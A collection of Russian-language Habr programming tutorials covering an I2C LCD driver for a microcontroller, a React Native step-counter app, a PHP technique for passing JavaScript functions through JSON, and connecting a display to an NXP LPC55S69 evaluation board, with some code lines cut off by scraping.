// Выводит на экран значение целочисленной переменной , параметр - выводимое значение
void lcd_I2C_Goto(unsigned short row, unsigned short col);
// перемещает курсор на указанную позицию, параметры row - строка (от 1 до 2 или 4 в зависимости от дисплея) и col - (от 1 до displenth))
void lcd_I2C_cls();
// Очищает экран
void lcd_I2C_backlight (unsigned short int state);
// Включает (при передаче 1 и отключает - при передаче 0 подсветку дисплея)
```
Теперь опишем наши фунции, снова идем в **Project Maneger** клацнем правой кнопкой по папке ***Sources*** и выберем ***Add New File***. Создаем файл ***«i2c\_lcd.с»***.
```
#include "i2c_lcd.h" //инклудим наш хедер-файл
char lcd_reg; //регистр временного хранения данных отправляемых в PCF8574
void I2C_PCF8574_WriteReg(unsigned char wData) //функция отпарвки данных по i2c в чип PCF8574
{
I2C1_Start();
I2C1_Write(PCF8574A_ADDR,&wData, 1, END_MODE_STOP);
}
void LCD_COMMAND (char com) //функция отправки команды нашему дисплею
{
lcd_reg = 0; //пишем 0 во временный регистр
lcd_reg.BL = BL_status.b0; //пин подсветки выставляем в соответстви со значением переменной, хранящей состояние подсветки
lcd_reg.DB4 = com.b4; //выставляем на шину данных индикатора 4 старших бита нащей команды
lcd_reg.DB5 = com.b5;
lcd_reg.DB6 = com.b6;
lcd_reg.DB7 = com.b7;
lcd_reg.EN = 1; //ставим строб. вывод в 1
I2C_PCF8574_WriteReg (lcd_reg); //пишем в регистр PCF8574, фактически отправив данные на индикатор
delay_us (300); //ждем тайммаут
lcd_reg.EN = 0; //сбрасываем строб импульс в 0, индикатор читает данные
I2C_PCF8574_WriteReg (lcd_reg);
delay_us (300);
lcd_reg = 0;
lcd_reg.BL = BL_status.b0;
lcd_reg.DB4 = com.b0; //то же самое для 4 младших бит
lcd_reg.DB5 = com.b1;
lcd_reg.DB6 = com.b2;
lcd_reg.DB7 = com.b3;
lcd_reg.EN = 1;
I2C_PCF8574_WriteReg (lcd_reg);
delay_us (300);
lcd_reg.EN = 0;
I2C_PCF8574_WriteReg (lcd_reg);
delay_us (300);
}
void LCD_CHAR (unsigned char com) //отправка индикатору данных (ASCII кода символа)
{
lcd_reg = 0;
lcd_reg.BL = BL_status.b0;
lcd_reg.EN = 1;
lcd_reg.RS = 1; //отправка символа отличается от отправки команды установкой в 1 бита RS
lcd_reg.DB4 = com.b4; //выставляем на входах 4 старших бита
lcd_reg.DB5 = com.b5;
lcd_reg.DB6 = com.b6;
lcd_reg.DB7 = com.b7;
I2C_PCF8574_WriteReg (lcd_reg);
delay_us (300);
lcd_reg.EN = 0; //сбрасываем строб. импульс в 0, индикатор читает данные
I2C_PCF8574_WriteReg (lcd_reg);
delay_us (300);
lcd_reg = 0;
lcd_reg.BL = BL_status.b0;
lcd_reg.EN = 1;
lcd_reg.RS = 1;
lcd_reg.DB4 = com.b0; //выставляем на входах 4 младших бита
lcd_reg.DB5 = com.b1;
lcd_reg.DB6 = com.b2;
lcd_reg.DB7 = com.b3;
I2C_PCF8574_WriteReg (lcd_reg);
delay_us (300);
lcd_reg.EN = 0;
I2C_PCF8574_WriteReg (lcd_reg);
delay_us (300);
}
void lcd_I2C_Init(void)
{
I2C1_Init_Advanced(400000, &_GPIO_MODULE_I2C1_PB67); //иннициализируем наш I2c модуль у МК
delay_ms(200);
lcd_Command(0x28); // Дисплей в режиме 4 бита за такт
delay_ms (5);
lcd_Command(0x08); //Отключаем вывод данных на дисплей
delay_ms (5);
lcd_Command(0x01); //Очищаем дисплей
delay_ms (5);
lcd_Command(0x06); //Включаем автоматический сдвиг курсора после вывода символа
delay_ms (5);
lcd_Command(0x0C); //Включаем отображение информации без отображения курсора
delay_ms (25);
}
void lcd_I2C_txt(char *pnt) //Вывод строки символов на дисплей
{
unsigned short int i; //временная переменная индекса масисва символов
char tmp_str[displenth + 1]; //временный массив символов, длиной на 1 больше длинны строки дисплея, так как строку нужно закончить сиv символом NULL ASCII 0x00
strncpy(tmp_str, pnt, displenth); //копируем в нашу временную строку не более displenth символов исходной строки
for (i=0; i
```
Теперь подключим только что созданную библиотеку у файлу с нашей главной функцией:
```
#include "i2c_lcd.h" //инклудим наш хедер-файл
unsigned int i; //временная переменная счетчик
void main()
{
lcd_I2C_Init(); //иннициализируем дисплей
lcd_I2C_backlight (1); //включим подсветку
lcd_I2C_txt ("Hellow habrahabr"); //выведем на дисплей стрроку
while (1)
{
delay_ms(1000);
lcd_I2C_Goto (2,1); //перейдем к 1 символу 2 строки
lcd_i2c_int (i); //выведем значение на дисплей
i++; // инкриментируем счетчик
}
}
```
Если все правильно собрано то мы должны увидеть на индикаторе текст и инкриметирующийся каждую секунду счетчик. В общем, ничего сложного :)
В следующей статье мы продолжем разбиратся с i2c протоколом и устройствами работающем с ним. Рассмотрим работу с EEPROM 24XX памятью и акселерометром/гироскопом MPU6050. | https://habr.com/ru/post/322184/ | null | ru | null |
# Разработка простого приложения «шагомер» на ReactNative
Сегодня в кругах программистов почти каждый знает о библиотеке Facebook – React.
В основе React лежат компоненты. Они схожи с DOM элементами браузера, только написаны не на HTML, а при помощи JavaScript. Использование компонентов, по словам Facebook, позволяет один раз написать интерфейс и отображать его на всех устройствах. В браузере все понятно (данные компоненты преобразуются в DOM элементы), а что же с мобильными приложениями? Тут тоже предсказуемо: React компоненты преобразовываются в нативные компоненты.
В данной статье я хочу рассказать, как разработать простое приложение-шагомер. Будет показана часть кода, отображающая основные моменты. Весь проект доступен по [ссылке на GitHub](https://github.com/Singree/react-native-example-app).
Итак, начнем.
##### **Требования**
Для разработки под iOS вам будет необходима OS X с Xcode. С Android все проще: можно выбирать из Linux, OS X, Windows. Также придется установить Android SDK. Для боевого тестирования будут необходимы iPhone и любой Android смартфон с Lollipop на борту.
##### **Создание структуры проекта**
Для начала создадим структуру проекта. Для манипуляции с данными в приложении будем использовать идею flux, а именно Redux как его реализацию. Также нужен будет роутер. В качестве роутера я выбрал react-native-router-flux, так как он из коробки поддерживает Redux.
Пару слов о Redux. Redux – это простая библиотека, которая хранит состояние приложения. На изменение состояния можно навешать обработчики события, включая рендеринг отображения. Ознакомиться с redux рекомендую по видеоурокам.
Приступим к реализации. Установим react-native-cli с помощью npm, с помощью которого будем выполнять в дальнейшем все манипуляции с проектом.
```
npm install -g react-native-cli
```
Далее создаем проект:
```
react-native init AwesomeProject
```
Устанавливаем зависимости:
```
npm install
```
В результате в корне проекта создались папки ios и android, в которых находятся “нативные” файлы под каждую из платформ соответственно. Файлы index.ios.js и index.android.js являются точками входа приложения.
Установим необходимые библиотеки:
```
npm install —save react-native-router-flux redux redux-thunk react-redux lodash
```
Создаем структуру директорий:
```
app/
actions/
components/
containers/
constants/
reducers/
services/
```
В папке actions будут находиться функции, описывающие, что происходит с данными в store.
components, исходя из названия, будет содержать компоненты отдельных элементов интерфейса.
containers содержит корневые компоненты каждой из страниц приложения.
constants – название говорит само за себя.
В reducers будут находиться так называемые “редюсеры”. Это функции, которые изменяют состояние приложение в зависимости от полученных данных.
В папке app/containers создадим app.js. В качестве корневого элемента приложения выступает обертка redux. Все роуты прописываются в виде обычных компонентов. Свойство initial говорит роутеру, какой роут должен отработать при инициализации приложения. В свойство component роута передаем компонент, который будет показан при переходе на него.
```
app/containers/app.js
```
В директории app/containers создаем launch.js. launch.js – обычный компонент c кнопкой для перехода к странице счетчика.
```
app/containers/launch.js
import { Actions } from ‘react-native-router-flux';
…
Counter
```
Actions – объект, в котором каждому роуту соответствует метод. Имена таких методов берутся из свойства name роута.
В файле app/constants/actionTypes.js опишем возможные события счетчика:
```
export const INCREMENT = 'INCREMENT';
export const DECREMENT = 'DECREMENT';
```
В папке app/actions создаем файл counterActions.js с содержимым:
```
app/actions/counterActions.js
import * as types from '../constants/actionTypes';
export function increment() {
return {
type: types.INCREMENT
};
}
export function decrement() {
return {
type: types.DECREMENT
};
}
```
Функции increment и decrement описывают происходящее действие редюсеру. В зависимости от действия, редюсер изменяет состояние приложения. initialState – описывает начальное состояние хранилища. При инициализации приложения счетчик будет установлен на 0.
```
app/reducers/counter.js
import * as types from '../constants/actionTypes';
const initialState = {
count: 0
};
export default function counter(state = initialState, action = {}) {
switch (action.type) {
case types.INCREMENT:
return {
...state,
count: state.count + 1
};
case types.DECREMENT:
return {
...state,
count: state.count - 1
};
default:
return state;
}
}
```
В файле counter.js располагаются две кнопки для уменьшения и увеличения значения счетчика, а также отображается текущее значение.
```
app/components/counter.js
const { counter, increment, decrement } = this.props;
…
{counter}
up
down
```
Обработчики событий и само значение счетчика передаются из компонента контейнера. Рассмотрим его ниже.
```
app/containers/counterApp.js
import React, { Component } from 'react-native';
import {bindActionCreators} from 'redux';
import Counter from '../components/counter';
import * as counterActions from '../actions/counterActions';
import { connect } from 'react-redux';
class CounterApp extends Component {
constructor(props) {
super(props);
}
render() {
const { state, actions } = this.props;
return (
);
}
}
/* Подписываем компонент на событие изменения хранилища. Теперь в props.state
будет текущее состояние счетчика */
export default connect(state => ({
state: state.counter
}),
/* Привязываем действия к компоненту. Теперь доступны события манипуляции счетчиком props.actions.increment() и props.actions.decrement() */
(dispatch) => ({
actions: bindActionCreators(counterActions, dispatch)
})
)(CounterApp);
```
В итоге мы получили простое приложение, которое включает в себя необходимые компоненты. Данное приложение можно взять за основу любого приложения, разработанного с помощью ReactNative.
##### **Диаграмма**
Так как мы разрабатываем приложение-шагомер, соответственно нам нужно отобразить результаты измерений. Наилучшим способом, как мне кажется, является диаграмма. Таким образом, разработаем простую столбчатую диаграмму (bar chart): ось Y показывает количество шагов, а X – время.
ReactNative из коробки не поддерживает canvas и, к тому же, для использования canvas необходимо использовать webview. Таким образом, остается два варианта: писать нативный компонент под каждую из платформ или использовать стандартный набор компонент. Первый вариант наиболее трудозатратный, но, в результате, получим производительное и гибкое решение. Остановимся на втором варианте.
Для отображения данных будем передавать их компоненту в виде массива объектов:
```
[
{
label, // отображаемая данные на оси X
value, // значение
color // цвет столбца
}
]
```
Создаем три файла:
```
app/components/chart.js
app/components/chart-item.js
app/components/chart-label.js
```
Ниже код основного компонента диаграммы:
```
app/components/chart.js
import ChartItem from './chart-item';
import ChartLabel from './chart-label';
class Chart extends Component {
constructor(props) {
super(props);
let data = props.data || [];
this.state = {
data: data,
maxValue: this.countMaxValue(data)
}
}
/* Функция для подсчета максимального значения из переданных данных.*/
countMaxValue(data) {
return data.reduce((prev, curn) => (curn.value >= prev) ? curn.value : prev, 0);
}
componentWillReceiveProps(newProps) {
let data = newProps.data || [];
this.setState({
data: data,
maxValue: this.countMaxValue(data)
});
}
/* Функция для получения массива компонент столбцов */
renderBars() {
return this.state.data.map((value, index) => (
));
}
/\* Функция для получения массива компонент подписей столбцов \*/
renderLabels() {
return this.state.data.map((value, index) => (
));
}
render() {
let labelStyles = {
fontSize: this.props.labelFontSize,
color: this.props.labelFontColor
};
return(
{this.state.maxValue}
{this.renderBars()}
{this.renderLabels()}
);
}
}
/\* производим валидацию переданных данных \*/
Chart.propTypes = {
data: PropTypes.arrayOf(React.PropTypes.shape({
value: PropTypes.number,
label: PropTypes.string,
color: PropTypes.string
})), // массив отображаемых данных
barInterval: PropTypes.number, // расстояние между столбцами
labelFontSize: PropTypes.number, // размер шрифта для подписи данных
labelFontColor: PropTypes.string, // цвет шрифта для подписи данных
borderColor: PropTypes.string, // цвет оси
backgroundColor: PropTypes.string // цвет фона диаграммы
}
export default Chart;
```
Компонент реализующий столбец графика:
```
app/components/chart-item.js
export default class ChartItem extends Component {
constructor(props) {
super(props);
this.state = {
/* Используем анимацию появления столбцов, задаем начальное значение позиции */
animatedTop: new Animated.Value(1000),
/* Получаем отношение текучего значения к максимальному */
value: props.value / props.maxValue
}
}
componentWillReceiveProps(nextProps) {
this.setState({
value: nextProps.value / nextProps.maxValue,
animatedTop: new Animated.Value(1000)
});
}
render() {
const { color, barInterval } = this.props;
/* В момент рендера компонента начинаем выполнение анимации */
Animated.timing(this.state.animatedTop, {toValue: 0, timing: 2000}).start();
return(
);
}
}
const styles = StyleSheet.create({
item: {
flex: 1,
overflow: 'hidden',
width: 1,
alignItems: 'center'
},
animatedElement: {
flex: 1,
left: 0,
width: 50
}
});
```
Код компонента подписи данных:
```
app/components/chart-label.js
export default ChartLabel = (props) => {
const { label, barInterval, labelFontSize, labelColor } = props;
return(
{label}
);
}
```
В итоге мы получили простую гистограмму, реализованную с помощью стандартного набора компонентов.
##### **Шагомер**
ReactNative – довольно молодой проект, который имеет только основной набор инструментов для создания простого приложения, которое берет из сети данные и отображает их. Но, когда стоит задача генерации данных на самом устройстве, придется поработать с написанием модулей на родных для платформ языках.
На данном этапе нам предстоит написать свой педометр. Не зная objective-c и java, а также api устройств, сделать это сложно, но можно, – все упирается во время. Благо существуют такие проекты, как Apache Cordova и Adobe PhoneGap. Они уже достаточно давно присутствуют на рынке, и сообщество написало много модулей под них. Эти модули легко портировать под react. Вся логика остается неизменной, нужно только переписать интерфейс (bridge).
В iOS для получения данных активности есть замечательное api – HealthKit. Apple имеет хорошую документацию, в которой даже присутствуют реализации обычных простых задач. С Android другая ситуация. Все, что есть у нас, – набор датчиков. Причем в документации написано, что, начиная с api 19, есть возможность получать данные датчика шагов. На Android работает огромное количество устройств, и добросовестные китайские производители и не только (включая достаточно именитые бренды) устанавливают лишь основной набор датчиков: акселерометр, датчик освещенности и датчик приближения. Таким образом, придется отдельно писать код для устройств с Android 4.4+ и с датчиком шагов (а также для более старых устройств). Это позволит улучшить точность измерений.
Приступим к реализации.
*Сразу оговорюсь. Прошу прощение за качество кода. Я впервые столкнулся с данными языками программирования и пришлось разбираться на интуитивном уровне, так как времени было в обрез.*
##### **iOS**
Создаем два файла c содержимым:
```
ios/BHealthKit.h
#ifndef BHealthKit_h
#define BHealthKit_h
#import
#import "RCTBridgeModule.h"
@import HealthKit;
@interface BHealthKit : NSObject
@property (nonatomic) HKHealthStore\* healthKitStore;
@end
#endif /\* BHealthKit\_h \*/
ios/BHealthKit.m
#import "BHealthKit.h"
#import "RCTConvert.h"
@implementation BHealthKit
RCT\_EXPORT\_MODULE();
- (NSDictionary \*)constantsToExport
{
NSMutableDictionary \*hkConstants = [NSMutableDictionary new];
NSMutableDictionary \*hkQuantityTypes = [NSMutableDictionary new];
[hkQuantityTypes setValue:HKQuantityTypeIdentifierStepCount forKey:@"StepCount"];
[hkConstants setObject:hkQuantityTypes forKey:@"Type"];
return hkConstants;
}
/\* Метод для запроса прав на получение данных из HealthKit \*/
RCT\_EXPORT\_METHOD(askForPermissionToReadTypes:(NSArray \*)types callback:(RCTResponseSenderBlock)callback){
if(!self.healthKitStore){
self.healthKitStore = [[HKHealthStore alloc] init];
}
NSMutableSet\* typesToRequest = [NSMutableSet new];
for (NSString\* type in types) {
[typesToRequest addObject:[HKQuantityType quantityTypeForIdentifier:type]];
}
[self.healthKitStore requestAuthorizationToShareTypes:nil readTypes:typesToRequest completion:^(BOOL success, NSError \*error) {
/\* Если все ок, то мы вызываем callback с аргументом null, отвечающим за ошибку \*/
if(success){
callback(@[[NSNull null]]);
return;
}
/\* Иначе передаем в callback сообщение ошибки \*/
callback(@[[error localizedDescription]]);
}];
}
/\* Метод для получения количества шагов в промежуток времени. Первым аргументом передаем начальное время, вторым – конечное время измерений, а третьим – callback
\*/
RCT\_EXPORT\_METHOD(getStepsData:(NSDate \*)startDate endDate:(NSDate \*)endDate cb:(RCTResponseSenderBlock)callback){
NSDateFormatter \*dateFormatter = [[NSDateFormatter alloc] init];
NSLocale \*enUSPOSIXLocale = [NSLocale localeWithLocaleIdentifier:@"en\_US\_POSIX"];
NSPredicate \*predicate = [HKQuery predicateForSamplesWithStartDate:startDate endDate:endDate options:HKQueryOptionStrictStartDate];
[dateFormatter setLocale:enUSPOSIXLocale];
[dateFormatter setDateFormat:@"yyyy-MM-dd'T'HH:mm:ssZZZZZ"];
HKSampleQuery \*stepsQuery = [[HKSampleQuery alloc]
initWithSampleType:[HKQuantityType quantityTypeForIdentifier:HKQuantityTypeIdentifierStepCount]
predicate:predicate
limit:2000 sortDescriptors:nil resultsHandler:^(HKSampleQuery \*query, NSArray \*results, NSError \*error) {
if(error){
/\* Если при получении данных возникла ошибка, передаем ее описание в callback \*/
callback(@[[error localizedDescription]]);
return;
}
NSMutableArray \*data = [NSMutableArray new];
for (HKQuantitySample\* sample in results) {
double count = [sample.quantity doubleValueForUnit:[HKUnit countUnit]];
NSNumber \*val = [NSNumber numberWithDouble:count];
NSMutableDictionary\* s = [NSMutableDictionary new];
[s setValue:val forKey:@"value"];
[s setValue:sample.sampleType.description forKey:@"data\_type"];
[s setValue:[dateFormatter stringFromDate:sample.startDate] forKey:@"start\_date"];
[s setValue:[dateFormatter stringFromDate:sample.endDate] forKey:@"end\_date"];
[data addObject:s];
}
/\* В случае успеха, вызываем callback, первым аргументом будет null, так как ошибки отсутствуют, а вторым – массив данных. \*/
callback(@[[NSNull null], data ]);
}];
[self.healthKitStore executeQuery:stepsQuery];
};
@end
```
Далее эти файлы нужно добавить в проект. Открываем Xcode, правой кнопкой по корневому каталогу -> Add Files to “project name”. В разделе Capabilities включаем HealthKit. Далее в разделе General -> Linked Frameworks and Libraries жмем “+” и добавляем HealthKit.framework.
С нативной частью закончили. далее переходим непосредственно к получению данных в js части проекта.
Создаем файл app/services/health.ios.js:
```
app/services/health.ios.js
/* Подключаем написанный нами модуль. BHealthKit содержит два метода, которые мы написали в BHealthKit.m
*/
const {
BHealthKit
} = React.NativeModules;
let auth;
// Функция для запроса прав
function requestAuth() {
return new Promise((resolve, reject) => {
BHealthKit.askForPermissionToReadTypes([BHealthKit.Type.StepCount], (err) => {
if (err) {
reject(err);
} else {
resolve(true);
}
});
});
}
// Функция получения данных.
function requestData() {
let date = new Date().getTime();
let before = new Date();
before.setDate(before.getDate() - 5);
/* Так как процесс обращения к нативным модулям выполняется асинхронно, оборачиваем его в промис.*/
return new Promise((resolve, reject) => {
BHealthKit.getStepsData(before.getTime(), date, (err, data) => {
if (err) {
reject(err);
} else {
let result = {};
/* Тут же производим процесс преобразования данных к нужному нам виду */
for (let val in data) {
const date = new Date(data[val].start_date);
const day = date.getDate();
if (!result[day]) {
result[day] = {};
}
result[day]['steps'] = (result[day] && result[day]['steps'] > 0) ?
result[day]['steps'] + data[val].value :
data[val].value;
result[day]['date'] = date;
}
resolve(Object.values(result));
}
});
});
}
export default () => {
if (auth) {
return requestData();
} else {
return requestAuth().then(() => {
auth = true;
return requestData();
});
}
}
```
##### **Android**
Код получился объемный, поэтому я опишу принцип работы.
Android SDK не предоставляет хранилище, обращаясь к которому можно получить данные за определенный промежуток времени, а лишь возможность получения данных в реальном времени. Для этого используются сервисы, которые постоянно работают в фоне и выполняют нужные задачи. С одной стороны, это очень гибко, но допустим, что на устройстве установлено двадцать шагомеров и каждое приложение будет иметь свой сервис, который выполняет ту же задачу, что и остальные 19.
Реализуем два сервиса: для устройств с датчиком шагов и без. Это файлы android/app/src/main/java/com/awesomeproject/pedometer/StepCounterService.java и android/app/src/main/java/com/awesomeproject/pedometer/StepCounterOldService.java.
В файле android/app/src/main/java/com/awesomeproject/pedometer/StepCounterBootReceiver.java при запуске устройства описываем, какой из сервисов будет запускаться в зависимости от устройства.
В файлах android/app/src/main/java/com/awesomeproject/RNPedometerModule.java и RNPedometerPackage.java реализовуем связь приложения с react.
Получаем разрешение на использование датчиков, добавив строчки в android/app/src/main/AndroidManifest.xml
```
Даем знать приложению о наших сервисах, а также задаем ресивер, который будет запускать сервисы при включении смартфона.
…
```
Подключаем модуль к приложению и при запуске приложения запускаем сервисы.
```
android/app/src/main/java/com/awesomeproject/MainActivity.java
…
protected List getPackages() {
return Arrays.asList(
new MainReactPackage(),
new RNPedometerPackage(this)
);
}
…
@Override
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
Boolean can = StepCounterOldService.deviceHasStepCounter(this.getPackageManager());
/\* Если в устройстве есть датчик шагов, то запускаем сервис использующий его \*/
if (!can) {
startService(new Intent(this, StepCounterService.class));
} else {
/\* Иначе запускаем сервис использующий акселерометр\*/
startService(new Intent(this, StepCounterOldService.class));
}
}
```
Получение данных javascript части. Создаем файл app/services/health.android.js
const Pedometer = React.NativeModules.PedometerAndroid;
```
export default () => {
/* Получение данных происходит в асинхронном режиме, поэтому оборачиваем запрос в промис. */
return new Promise((resolve, reject) => {
Pedometer.getHistory((result) => {
try {
result = JSON.parse(result);
// Преобразовываем данные к нужному виду
result = Object.keys(result).map((key) => {
let date = new Date(key);
date.setHours(0);
return {
steps: result[key].steps,
date: date
}
});
resolve(result);
} catch(err) {
reject(err);
};
}, (err) => {
reject(err);
});
});
}
```
В итоге мы получили два файла health.ios.js и health.android.js, которые получают статистику активности пользователя из нативных модулей платформ. Далее в любом месте приложения выражением:
```
import Health from ‘health’;
```
React Native подключает нужный файл, исходя из префикса файлов. Теперь мы можем использовать данную функцию, не задумываясь, на IOS или Android выполняется приложение.
В результате, мы написали простенькое приложение-шагомер и рассмотрели основные моменты, которые вам предстоит пройти при разработке собственного приложения.
В конце хочется выделить преимущества и недостатки ReactNative.
###### Преимущества:
1. разработчик, имеющий опыт разработки на JavaScript, легко может написать приложение;
2. разрабатывая одно приложение, вы сразу получаете возможность выполнять его на Android и IOS;
3. ReactNative имеет достаточно большой набор реализованных компонент, которые зачастую покроют все ваши требования;
4. активное сообщество, которое быстрыми темпами пишет различные модули.
###### Недостатки:
1. не всегда гладко один и тот же код работает на обеих платформах (зачастую проблемы с отображением);
2. при специфической задаче зачастую нет реализованных модулей и придется их писать самому;
3. производительность. В сравнении с PhoneGap и Cordova, react очень быстр, но все же нативное приложение будет быстрей.
###### Когда целесообразно выбрать ReactNative?
Если нужно разработать простое приложение для получения данных из сервера и их отображения, то выбор очевиден. Если же перед вами стоит задача реализации крутого дизайна, критически важна производительность, или же стоит задача, которую сложно решить с помощью готовых компонент, то здесь стоит задуматься. Так как большую часть придется писать на родных языках платформ, строить пирамиду из этого определенно не лучший вариант.
Спасибо за внимание.
Статью подготовили: [greebn9k](https://habrahabr.ru/users/greebn9k/)(Сергей Грибняк), [boozzd](https://habrahabr.ru/users/boozzd/)(Дмитрий Шаповаленко), [silmarilion](https://habrahabr.ru/users/silmarilion/)(Андрей Хахарев) | https://habr.com/ru/post/283494/ | null | ru | null |
# Передача функций через JSON
Из этого топика вы узнаете как отправить JavaScript функции, через JSON используя PHP (сама концепция может быть применена и для других языков).
PHP, начиная с версии 5.2.0, включает функции json\_encode() и json\_decode(). Эти функции кодируют данные в формат JSON и декодиуют JSON в ассоциативные массивы. В json\_encode() не может быть закодирована функция. В ряде случаев это чертовски неудобно.
1. *Добавлен пример реализации в Zend Framework.*
2. *Вопрос к кармавампирам — вы знаете вариант как передать handler для создания объекта иначе?*
3. *[Комментарий](http://mecommayou.habrahabr.ru/blog/63057/#comment_1747015) о том для чего и кому это нужно.*
#### **Проблема**
> `// Возьмем произвольный массив
>
> $foo = array(
>
> 'number' => 1,
>
> 'float' => 1.5,
>
> 'array' => array(1,2),
>
> 'string' => 'bar',
>
> 'function'=> 'function(){return "foo bar";}'
>
> );
>
> // Теперь преобразуем массив в JSON
>
> $json = json\_encode($foo);
>
> // Отдадим клиенту
>
> echo $json;
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
#### **Результат**
> `{
>
> "number":1,
>
> "float":1.5,
>
> "array":[1,2],
>
> "string":"bar",
>
> "function":"function(){return \"foo bar\";}"
>
> }
>
> \* This source code was highlighted with Source Code Highlighter.`
Так как если не заключить определение функции в кавычки, т. е. не определить как строку, код не будет исполнятся. Так что в принципе jscon\_encode() не годится для реализации этого функционала.
#### **Решение**
1. Проходим по массиву который будет закодирован.
2. Проверяем кодируемое значение на предмет наличия определения функции.
3. Запоминаем значение и заменяем его уникальной меткой.
4. Кодируем измененный массив используя json\_encode().
5. Заменяем уникальную метку на оригинальное значение.
6. Отдаем JSON клиенту.
> `// Обрабатываемый массив.
>
> $foo = array(
>
> 'number' => 1,
>
> 'float' => 1.5,
>
> 'array' => array(1,2),
>
> 'string' => 'bar',
>
> 'function'=> 'function(){return "foo bar";}'
>
> );
>
>
>
> $value\_arr = array();
>
> $replace\_keys = array();
>
> foreach($foo as $key => &$value){
>
> // Проверяем значения на наличие определения функции
>
> if(strpos($value, 'function(')===0){
>
> // Запоминаем значение для послудующей замены.
>
> $value\_arr[] = $value;
>
> // Заменяем определение функции 'уникальной' меткой..
>
> $value = '%' . $key . '%';
>
> // Запоминаем метку для послудующей замены.
>
> $replace\_keys[] = '"' . $value . '"';
>
> }
>
> }
>
>
>
> // Кодируем массив в JSON
>
> $json = json\_encode($foo);
>
>
>
> // Полученный $json будет выглядеть так:
>
> {
>
> "number":1,
>
> "float":1.5,
>
> "array":[1,2],
>
> "string":"bar",
>
> "function":"%function%"
>
> }
>
>
>
> // Заменяем метски оригинальными значениями.
>
> $json = str\_replace($replace\_keys, $value\_arr, $json);
>
>
>
> // Отправляем клиенту.
>
> echo $json;
>
>
>
> // Клиент получит JSON такого вида:
>
> {
>
> "number":1,
>
> "float":1.5,
>
> "array":[1,2],
>
> "string":"bar",
>
> "function":function(){return "foo bar";}
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Теперь в полученном обьекте «function» является не строкой, а функцией. Собственно проблема решена. Если использовать это решение совместно с Prototype, то оно будет выглядеть примерно так:
> `new Ajax.Request('json\_server.php', {
>
> method:'get',
>
> onSuccess: function(transport){
>
> var json = transport.responseText.evalJSON();
>
> alert(json.function()); // => Отобразится alert 'foo bar'
>
> }
>
> });
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
#### **Реализация в Zend Framework:**
> `$foo = array(
>
> 'integer' =>9,
>
> 'string' =>'test string',
>
> 'function' => Zend\_Json\_Expr(
>
> 'function(){ window.alert("javascript function encoded by Zend\_Json") }'
>
> ),
>
> );
>
>
>
> Zend\_Json::encode($foo, false, array('enableJsonExprFinder' => true));
>
> // it will returns json encoded string:
>
> {
>
> "integer":9,
>
> "string":"test string",
>
> "function":function(){
>
> window.alert("javascript function encoded by Zend\_Json")
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.` | https://habr.com/ru/post/63057/ | null | ru | null |
# Подключаем LCD экран к макетной плате LPCXpresso55S69
В рамках проекта All-Hardware довелось мне освоить работу с экраном на макетной плате LPC55S69-EVK фирмы NXP. Пикантность ситуации состоит в том, что штатно эта плата поставляется без экрана, так что в освоение работы также входил поиск экрана, который можно достать в наших краях, и его подключение.
Во второй части статьи, я расскажу о том, какие действия следует выполнить, чтобы повторить мой подвиг на практике. Но сначала я выскажу всё, что накипело за время работы. Правда, всё ниже сказанное является моим личным мнением и часто не совпадает с мнением руководства нашей компании. Но у инженера-программиста, лично прошедшего через это всё, вполне может быть собственное мнение… И вот оно.
Часть первая. Исследование
--------------------------
### Конструктивные и схемотехнические особенности
Итак. В целом, с виду, всё должно получиться вполне себе симпатично. У макетной платы имеется разъём, совместимый с Arduino Uno. Причём он сделан забавно. Фактически разъёмы двухрядные. С Arduino Uno совместимы только внутренние ряды. Внешние же – сами по себе.
Что может быть проще? Сейчас возьмём дисплей, совместимый с Arduino, просто наденем его на плату и воспользуемся какой-нибудь библиотекой, коих на github вагон и маленькая тележка. Разумеется, у нас в наличии имелись подходящие дисплеи. Вот его разъём:
Смущает, что положение контактов D0 и D1 шины данных на этих двух платах не совпадает. Но если бы это было единственной проблемой! Само собой, для реальной работы, надо понять, что за порты контроллера подключены к соответствующим шинам. Сейчас мы возьмём описание на макетку… Ой! А чтобы взять описание на макетку на сайте производителя, надо зарегистрироваться.
Вот представьте себе: вы – инженер, получивший задание подобрать аппаратуру для нового изделия. Вы вошли на свой любимый поисковик. И он вам выдал то, что открыто. И вы выбрали из того, что выдало… Станете ли вы специально рыскать по закрытым сусекам, специально регистрируясь? Я бы не стал. Почему я тогда пишу про эту макетку? Я же говорю, мне руководство спустило задачу внедрить конкретную плату в проект, в котором важна широкая номенклатура. И плату мне эту выдали, так как она была куплена специально для расширения поддерживаемой номенклатуры. Иначе бы я и не нашёл её. Не люблю я лишний раз где-то регистрироваться, когда вокруг столько всего доступного без регистрации!
Ну, да ладно. На самом деле, требуемый документ можно скачать у продавцов. У того же mouser. Открываем его и… Нет. Это надо иллюстрировать. Таблицы, поясняющей цоколёвку разъёма, нет. Но зато есть рисунок.
Допустим, к портам PIO1\_9 и PIO1\_10 у меня особых претензий нет. Но что за порты контроллера такие LED\_RED\_ARD и далее по всем цветам? Ну, и ряд других ножек подобного вида. Такое чувство, что автор документа не до конца понимал, для чего он это делает. Поэтому просто скопировал имена цепей со схемы. Зачем эти цепи? Имена цепей – это абстракция от автора схемы, не более того. Нужны имена соответствующих им ножек контроллера! Это знают все. Кроме автора документа.
Ну хорошо, ищем схему макетки. В отличие от описания, схему нигде, кроме как у производителя, не скачаешь. А производитель требует регистрацию на каждый чих. Вообще, мне это всё напоминает те времена, когда справочник Шило был незаменимой, но и недоставаемой вещью. Я его достал уже когда от него не было проку, так как мелкая логика была заменена логикой программируемой. Но психологическая травма, полученная в детстве, заставила меня его взять, когда народ стал сдавать их в букинистические магазины. И та же травма не даёт теперь выкинуть этот томик, хоть место в шкафу я расчищаю регулярно. Но электронная промышленность страны, находившейся в таких условиях, накрылась медным тазом. Или инженеры NXP мечтают о том же? Что может быть секретного в схеме макетной платы? Почему её нельзя увидеть без регистрации? Китайцы украдут? Так бизнес-то в продаже контроллеров! Чем больше инженеров владеют макеткой, тем выше шанс, что контроллер пойдёт в изделие и будет закупаться в промышленных масштабах! Я не понимаю! Но продолжим….
Выяснилось, что обычная параллельная шина данных разбросана по разным, идущим не подряд битам двух разных портов GPIO. Вот такую я сделал для себя шпаргалку по требуемым мне контактам:
